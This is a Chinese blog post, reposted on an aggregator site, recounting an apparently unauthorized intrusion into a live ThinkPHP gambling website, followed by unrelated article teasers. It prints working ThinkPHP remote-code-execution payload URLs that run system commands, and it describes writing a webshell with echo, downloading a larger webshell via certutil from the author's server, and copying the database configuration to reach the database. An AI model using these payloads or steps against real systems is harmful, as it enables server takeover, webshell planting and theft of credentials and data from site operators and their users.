防止菠菜上传PHP文件,对某菠菜网站的一次渗透测试

news/2024/5/9 4:34:02/文章来源:https://blog.csdn.net/weixin_42425967/article/details/116474489

无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?

然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

简单看了下,应该有不少人玩吧?

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

正好前几天写了个测试工具,先掏出来测试一发。

工具显示存在漏洞

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

一键getshell,看起来很顺利的样子,哈哈。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

但是...小明甩了下头发,发现事情并不简单。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

菜刀连接的时候,返回500错误。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?

作为菜逼的我不禁陷入了沉思...

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以执行部分命令,比如echo dir等等。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。比如<?php转义为 ^<^?php

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

正当我打算放弃的时候,我想起来还有个下载的命令没用。

那就是certutil.exe

说干就干,把大马放到我们服务器上,开启HFS。

然后执行以下命令。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

成功进入大马,不过别高兴太早。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

小明再次甩了下头发,发现事情更不简单....

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

既然这样,那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

尝试type读取失败,然后又想到copy命令。

把database.php拷贝到web根目录下,改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷贝完成以后访问url/1.txt,发现里面是空的。

经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

然后填写好配置信息,进入数据库。

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

1f9b02780f1c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_724280.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php echo表单提交_从建站打拿站 -- PHP(登录和注册)

小孩子才会喝的一塌糊涂 而我必须带着钥匙拿好手机记住回家的路。。。。---- 网易云热评在HTML基础中&#xff0c;做了两张静态页面&#xff08;登录和注册&#xff09;&#xff0c;现在我们配合PHP动态页面进行操作。一、登录页面(GET)1、action属性修改为"../php/dl.php…

网站logo服务器更换显示以前,爆料:许多老网站的站点LOGO停止显示

据买链接站长QQ爆料&#xff1a;很多老站的百度logo图片在百度搜索结果中不显示了。目前是中小网站免费的logo不在了&#xff0c;包括10几年以前排名前1.2.3名的老站。据该站长介绍说&#xff1a;我很多站长朋友老站&#xff0c;中小级别的logo都消失了&#xff0c;最近开始&am…

构建LEMP网站服务平台

Nginx 是一个很强大的高性能Web和反向代理服务器&#xff0c;它具有很多非常优越的特性&#xff1a;在高连接并发的情况下&#xff0c;Nginx是Apache服务器不错的替代品&#xff1a;Nginx在美国是做虚拟主机生意的老板们经常选择的软件平台之一。能够支持高达50,000 个并发连接…

分享一些背景虚化背景图 适合大气、高质感的网站

2019独角兽企业重金招聘Python工程师标准>>> 一组5个高品质的散焦图像&#xff0c;为您的下一个设计项目作为覆盖或背景使用起来非常顺手。或者干脆用它们作为屏幕壁纸, 压缩包一共7M之多&#xff0c;暂时先上传几张图片&#xff0c;供大家看看货……&#xff0c;格…

【兴趣】 让人欲罢不能的15个涂鸦网站!

推荐这十几个涂鸦网站&#xff0c;它们有的纯粹好玩&#xff0c;有的对学画画有帮助&#xff0c;或者两者兼有。它们未必比游戏差&#xff0c;闲暇之余还是值得一玩哒o(〃▽〃)o 注&#xff1a; 请使用电脑登录&#xff0c;手机是玩不了的 部分网站不稳定&#xff0c;可能进不…

python爬虫登录网站_python爬虫学习,使用requests库来实现模拟登录4399小游戏网站。...

1.首先分析请求&#xff0c;打开4399网站。image 右键检查元素或者F12打开开发者工具。然后找到network选项&#xff0c;image 这里最好勾选perserve log 选项&#xff0c;用来保存请求日志。这时我们来先用我们的账号密码登陆一下&#xff0c;然后查看一下截获的请求image 可以…

安卓 默认打开权限_应对网站弹窗提醒带来的骚扰问题 谷歌浏览器将开始默认拦截通知请求...

此前谷歌浏览器带来弹窗提醒功能旨在让网站可以与用户交互&#xff0c;即便在离线状态下也可以弹出某些特定提醒内容。然而和多数功能那样提醒功能也被许多网站滥用&#xff0c;不断地弹出内容更新提示来推送广告甚至直接借助提醒发广告。即便在正常情况下用户打开某个新网站地…

cache-control_网站优化(三):缓存策略优化(CDN/动静分离/Cachecontrol)

本文是连续更新系列&#xff0c;根据《任霏博客网站程序2020年度大更新》分为网络地域选择、云服务器配置优化、环境搭建优化(JVM)、缓存策略优化、SpringBoot配置优化、前端页面优化等方面分别讨论。注&#xff1a;本文只根据我的个人经验分享&#xff0c;并非专业测评&#x…

服务器快照能代替网站备份吗,云服务器快照还需要备份吗

云服务器快照还需要备份吗 内容精选换一换云硬盘备份可为云硬盘创建备份&#xff0c;利用备份数据回滚云硬盘&#xff0c;以最大限度保证用户数据正确性和安全性&#xff0c;确保您的云硬盘安全。VBS支持全量备份和增量备份。云服务器备份会在备份过程中自动创建快照并且为每个…

与Linux相关的一些网站

2019独角兽企业重金招聘Python工程师标准>>> Mono项目的C#公共语言运行环境&#xff0c;使Linux上能运行C#程序: http://www.mono-project.com/ python官网: https://www.python.org/ perl官网: http://www.perl.org/ GTK项目主页: http://www.gtk.org/ KDE官网: ht…

公司内部SQUID代理HTTPS访问资料网站

同事安装SQUID,我按如下方法加密&#xff1a; 参考URL&#xff1a; http://www.tuicool.com/articles/iYv2YfU 众所周知&#xff0c;在国内访问国外互联网经常无法访问&#xff0c;比如要找资料google上不了&#xff0c;或者去code google想下载代码上不了&#xff0c;&#xf…

查看网站用何种web服务器的命令

查看网站用何种web服务器的命令 http://blog.163.com/huv520126/blog/static/2776523920101030104928998/curl --head xxxxx转载于:https://blog.51cto.com/7499256/1620247

php网页艺术设计,网站美工设计(网页美术设计主要学什么)

网站美工设计网页美工首要分为CSS&#xff0c;DIV和JS三部分。W3C是英文WorldWideWebConsortium的缩写&#xff0c;中文意思是W3C理事会或万维网联盟。W3C安排是对网络规范制定的一个非赢利安排&#xff0c;像HTML、XHTML、CSS、XML的规范就是由W3C来定制。CSS是层叠样式表简称…

php网站开发概念和简介,PHP字符串的概念简介

字符串是指由零个或多个字符构成的一个集合。因为php自诞生之初,就是为web开发而来的。因为网站开发中,字符串处理,是php的一大亮点。php中,1是字符串,2是数组函数,都非常多,非常好用。简单地说&#xff0c;字符串就是我们日常当中说的话&#xff0c;比如我想说“我想学PHP语言…

**apache环境下 禁止显示 index of/ 目录下(如何禁止访问网站根目录)

比如&#xff1a; http://123.57.49.XX6// 当这样访问的时候&#xff0c;可能会列出网站的根目录 如何禁止列出网站目录&#xff0c;方法如下&#xff1a; 让别人知道你的网站目录结构直接查看你目录下的所有文件是很危险的一个事情。 下面介绍解决方法 apache/conf/http.conf…

一个星期自动态的网站设计

&#xff08;现场&#xff1a;http://chentingpc.me&#xff09; 该网站的设计与框架0.1实现版本号&#xff0c;它比共六天了更&#xff0c;将近10个小时56。的确&#xff0c;在做需求分析、页面和系统设计时间占了近4天&#xff0c;态功能的部分仅仅花了两天时间来完毕。当然&…

网页设计如何排成一列_网站首屏制作排版技巧

首屏指的是用户进入网站之后&#xff0c;靠前眼看到的页面&#xff0c;它或许只有一个横幅&#xff0c;一列导航&#xff0c;但是却可以决定用户的去留以及网站的好坏。所以&#xff0c;企业需要做好首屏的排版设计&#xff0c;为用户呈现完美的视觉效果&#xff0c;吸引用户继…

vb 网页客户端发送请求给winform服务端_网站的交互和网页的动态效果

什么是交互呢&#xff1f;我问&#xff0c;你答。我们就是在交互。只有我&#xff0c;就没有交互。所以交互&#xff0c;涉及到两个人。客户端和服务端的交互&#xff1a;客户端用浏览器访问网站地址&#xff0c;服务端返回请求的网页&#xff0c;这是交互。客户端在网站填表单…

MyEclipse网站服务器,MyEclipse中web服务器的三种配置方式

初学Javaweb开发的人们都会遇到一个问题&#xff0c;就是服务器环境的搭建配置问题。下面介绍三种服务器的搭建方式。直接修改server.xml文件当你写了一个web应用程序(jsp/servlet)&#xff0c;想通过浏览器直接去访问这个页面&#xff0c;需要在Tomcat中配置相关路径&#xff…

外贸网站 云服务器,外贸网站 云服务器

外贸网站 云服务器 内容精选换一换在云服务器上搭建网站后&#xff0c;部分客户通过本地网络访问网站时出现偶发性无法访问的情况。确认客户使用的本地网络。若客户的本地网络是NAT网络(本地主机通过NAT功能使用公网IP地址访问弹性云服务器)&#xff0c;可能会导致该问题。若客…